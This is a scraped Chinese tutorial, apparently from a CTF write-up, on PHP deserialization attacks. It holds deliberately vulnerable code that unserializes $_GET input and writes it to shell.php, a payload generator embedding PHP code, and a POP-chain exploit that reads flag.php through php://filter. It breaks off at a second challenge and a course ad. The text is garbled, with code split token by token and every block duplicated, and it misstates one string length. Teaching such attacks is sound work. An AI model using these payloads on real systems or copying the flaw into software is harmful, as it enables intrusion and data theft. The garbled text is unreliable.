序列化 (`Serialization`)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
json(js)
Java 序列化
php 序列化
XML
Protobuf
Thrift
json(js)
Java 序列化
php 序列化
XML
Protobuf
Thrift
<?php
class
chybeta{
var
$test
=
'123'
;}
$class1
=
new
chybeta;
$class1_ser
= serialize(
$class1
);
print_r(
$class1_ser
);
$class2
=
'O:7:"chybeta":1:{s:4:"test";s:3:"123";}'
;
echo
"</br>"
;
$class2_unser
= unserialize(
$class2
);
print_r(
$class2_unser
);
?>
<?php
class
chybeta{
var
$test
=
'123'
;}
$class1
=
new
chybeta;
$class1_ser
= serialize(
$class1
);
print_r(
$class1_ser
);
$class2
=
'O:7:"chybeta":1:{s:4:"test";s:3:"123";}'
;
echo
"</br>"
;
$class2_unser
= unserialize(
$class2
);
print_r(
$class2_unser
);
?>
O:
7
:
"chybeta"
:
1
:{s:
4
:
"test"
;s:
3
:
"123"
;}
O:
class
代表是类,后面的
7
说明 chybeta 长度为
7
,再后面的
1
说明有一个属性
s:string 代表是字符串,后面的
4
说明 test 长度为
7
s:string 代表是字符串,后面的
3
是因为
123
长度为
3
O:
7
:
"chybeta"
:
1
:{s:
4
:
"test"
;s:
3
:
"123"
;}
O:
class
代表是类,后面的
7
说明 chybeta 长度为
7
,再后面的
1
说明有一个属性
s:string 代表是字符串,后面的
4
说明 test 长度为
7
s:string 代表是字符串,后面的
3
是因为
123
长度为
3
申请一块内存
=
> 执行构造函数
=
> 根据业务流程执行各类函数
=
> 执行析构函数
=
> 释放内存
申请一块内存
=
> 执行构造函数
=
> 根据业务流程执行各类函数
=
> 执行析构函数
=
> 释放内存
反序列化后执行各类函数
=
> 执行析构函数
=
> 释放内存
反序列化后执行各类函数
=
> 执行析构函数
=
> 释放内存
__destruct(),
__wakeup(),
__destruct(),
__wakeup(),
__construct(),
__destruct(),
__call(),
__callStatic(),
__get(),
__set(),
__isset(),
__unset(),
__sleep(),
__wakeup(),
__toString(),
__invoke(),
__set_state(),
__clone(),
__autoload(),
__debugInfo(),
__construct(),
__destruct(),
__call(),
__callStatic(),
__get(),
__set(),
__isset(),
__unset(),
__sleep(),
__wakeup(),
__toString(),
__invoke(),
__set_state(),
__clone(),
__autoload(),
__debugInfo(),
<?php
class
chybeta{
var
$test
=
'123'
;
function
__wakeup(){
$fp
=
fopen
(
"shell.php"
,
"w"
) ;
fwrite(
$fp
,
$this
->test);
fclose(
$fp
);
require
"shell.php"
;
}
}
$c
=
$_GET
[
'code'
];
unserialize(
$c
);
?>
<?php
class
chybeta{
var
$test
=
'123'
;
function
__wakeup(){
$fp
=
fopen
(
"shell.php"
,
"w"
) ;
fwrite(
$fp
,
$this
->test);
fclose(
$fp
);
require
"shell.php"
;
}
}
$c
=
$_GET
[
'code'
];
unserialize(
$c
);
?>
<?php
class
chybeta{
var
$test
=
'<?php phpinfo(); ?>'
;
}
$c
=
new
chybeta();
print
(urlencode(serialize(
$c
)));
?>
<?php
class
chybeta{
var
$test
=
'<?php phpinfo(); ?>'
;
}
$c
=
new
chybeta();
print
(urlencode(serialize(
$c
)));
?>
<?php
# flag 在 flag.php 中
class
Modifier {
protected
$var
;
public
function
append(
$value
){
include
(
$value
);
}
public
function
__invoke(){
$this
->append(
$this
->
var
);
}
}
class
Show{
private
$source
;
public
$str
;
public
function
__construct(
$file
=
'index.php'
){
$this
->source =
$file
;
echo
'Welcome to '
.
$this
->source.
"<br>"
;
}
public
function
__toString(){
return
$this
->str->source;
}
public
function
__wakeup(){
if
(preg_match(
"/gopher|http|file|ftp|https|dict|\.\./i"
,
$this
->source)) {
echo
"hacker"
;
$this
->source =
"index.php"
;
}
}
}
class
Test{
public
$p
;
public
function
__construct(){
$this
->p =
array
();
}
public
function
__get(
$key
){
$function
=
$this
->p;
return
$function
();
}
}
if
(isset(
$_GET
[
'pop'
])){ @unserialize(
$_GET
[
'pop'
]); }
else
{
$a
=
new
Show;
highlight_file(
__FILE__
);
}
?>
<?php
# flag 在 flag.php 中
class
Modifier {
protected
$var
;
public
function
append(
$value
){
include
(
$value
);
}
public
function
__invoke(){
$this
->append(
$this
->
var
);
}
}
class
Show{
private
$source
;
public
$str
;
public
function
__construct(
$file
=
'index.php'
){
$this
->source =
$file
;
echo
'Welcome to '
.
$this
->source.
"<br>"
;
}
public
function
__toString(){
return
$this
->str->source;
}
public
function
__wakeup(){
if
(preg_match(
"/gopher|http|file|ftp|https|dict|\.\./i"
,
$this
->source)) {
echo
"hacker"
;
$this
->source =
"index.php"
;
}
}
}
class
Test{
public
$p
;
public
function
__construct(){
$this
->p =
array
();
}
public
function
__get(
$key
){
$function
=
$this
->p;
return
$function
();
}
}
if
(isset(
$_GET
[
'pop'
])){ @unserialize(
$_GET
[
'pop'
]); }
else
{
$a
=
new
Show;
highlight_file(
__FILE__
);
}
?>
Show1.__wakeup()
Show2.__toString()
Test1.__get()
Modifier1.__invoke()
Show1.__wakeup()
Show2.__toString()
Test1.__get()
Modifier1.__invoke()
<?php
class
Modifier {
protected
$var
=
"php://filter/convert.base64-encode/resource=flag.php"
;
}
class
Show{
private
$source
;
public
$str
;
public
function
getSource(
$sor
){
$this
->source =
$sor
;
}
}
class
Test{
public
$p
;
}
$Modifier1
=
new
Modifier();
$Test1
=
new
Test();
$Test1
->p =
$Modifier1
;
$Show2
=
new
Show();
$Show2
->str =
$Test1
;
$Show1
=
new
Show();
$Show1
->getSource(
$Show2
);
echo
urlencode(serialize(
$Show1
));
?>
<?php
class
Modifier {
protected
$var
=
"php://filter/convert.base64-encode/resource=flag.php"
;
}
class
Show{
private
$source
;
public
$str
;
public
function
getSource(
$sor
){
$this
->source =
$sor
;
}
}
class
Test{
public
$p
;
}
$Modifier1
=
new
Modifier();
$Test1
=
new
Test();
$Test1
->p =
$Modifier1
;
$Show2
=
new
Show();
$Show2
->str =
$Test1
;
$Show1
=
new
Show();
$Show1
->getSource(
$Show2
);
echo
urlencode(serialize(
$Show1
));
?>
<?php
ini_set
(
"display_errors"
,
"On"
);
error_reporting
(E_ALL | E_STRICT);
highlight_file(
__FILE__
);
include
(
'flag.php'
);
$a
=
$_GET
[
'a'
];
$b
= unserialize (
$a
);
$b
->c =
$flag
;
foreach
(
$b
as
$key
=>
$value
)
{
if
(
$key
===
'c'
){
continue
;}
echo
$value
;}
?>
<?php
ini_set
(
"display_errors"
,
"On"
);
error_reporting
(E_ALL | E_STRICT);
highlight_file(
__FILE__
);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课